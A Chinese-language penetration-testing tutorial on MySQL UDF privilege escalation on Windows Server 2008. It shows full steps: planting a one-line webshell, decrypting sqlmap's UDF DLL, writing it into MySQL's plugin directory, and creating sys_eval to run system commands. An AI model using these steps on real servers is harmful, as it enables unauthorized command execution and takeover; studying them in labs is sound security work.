「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。
操作系统: Windows server 2008
Web环境: IIS 7.0 + MySQL 5.5.22
原理
UDF是mysql的一个接口,用来创建自定义函数(包括系统命令),但需要dll(程序扩展文件)作为udf的执行库
使用UDF提权需要满足一些条件
- mysql服务以system权限运行
- mysql开启远程连接,和文件读写功能
- 知道mysql的管理员账号和密码
环境准备
上传一句话木马并使用中国菜刀连接
上传木马文件到网站根目录( 默认是C:\inetpub\wwwroot )下,内容为一句话木马
使用中国菜刀连接木马文件
使用中国菜刀上传udf.dll文件
Windows版的SQLmap工具中提供了UDF提权所需的dll文件,但需要解密才能使用
将dll文件复制到SQLmap的extra/cloak目录下
使用cmd进入cloak.py所在目录,使用cloak.py解密文件( 需要python环境 )
python /cloak.py -d -i lib_mysqludf_sys.dll_
使用中国菜刀的文件管理功能将dll文件上传到c:/windows/temp目录下,该目录默认具有上传和执行权限
将文件移动到mysql的/lib/plugin目录下
使用物理机远程连接目标主机的mysql
获取MySQL的安装路径
show variables like '%plugin%'
利用MySQL的文件读写功能,将dll文件从c:/windows/temp目录移动到MySQL的安装路径下,dll文件只有在此目录下才能发挥作用
select load_file("c:/windows/temp/lib_mysqludf_sys.dll") into dumpfile "C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/mysqludf.dll";
创建自定义函数
利用dll文件创建能执行系统命令的函数
create function sys_eval returns string soname "mysqludf.dll";
使用自定义函数执行系统命令
select sys_eval("whoami");